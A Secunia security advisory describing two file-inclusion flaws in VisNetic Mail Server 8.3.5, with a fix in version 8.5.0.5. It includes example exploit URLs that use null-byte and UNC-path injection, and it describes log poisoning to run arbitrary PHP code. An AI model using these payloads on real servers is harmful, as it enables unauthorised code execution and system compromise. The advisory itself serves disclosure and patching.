Secunia

Secunia Research has discovered two vulnerabilities in VisNetic Mail Server, which can be exploited by malicious users and by malicious people to disclose potentially sensitive information and to compromise a vulnerable system.

1) Input passed to the "language" and "lang_settings" parameters in "/accounts/inc/include.php" and "/admin/inc/include.php" isn't properly sanitised by the "securepath()" function before being used to include files. This can be exploited to include arbitrary files from local resources on the Windows platform using full pathnames. This can be further exploited to execute arbitrary PHP code by injecting the code into the mail server's log file and including it.

Example:
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=c:\[file]%00

The vulnerability is related to #1 in:
SA17865

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server without requiring authentication.

2) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, which isn't properly sanitised by the "validatefolder()" function, to include arbitrary files from local resources using full pathnames, and from remote Windows shared folders using UNC pathnames.

Examples:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[curent_id]&lang_settings[TEST]=test;&lang_settings[TEST]=test;c:\[file]%00;
http://[host]:32000/mail/index.html?id=[curent_id]&lang_settings[TEST]=test;&lang_settings[TEST]=test;\\[host]\[share]\[file]%00;

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server but requires a valid logon.

The vulnerability is related to #3 in:
SA17865

The vulnerabilities have been confirmed in version 8.3.5. Prior versions may also be affected.

Solution
Update to version 8.5.0.5.

Provided and/or discovered by
Tan Chew Keong, Secunia Research.

Original Advisory
Secunia Research:
http://secunia.com/secunia_research/2006-14/advisory/

Other references
Further details available in Customer Area

Deep Links
Links available in Customer Area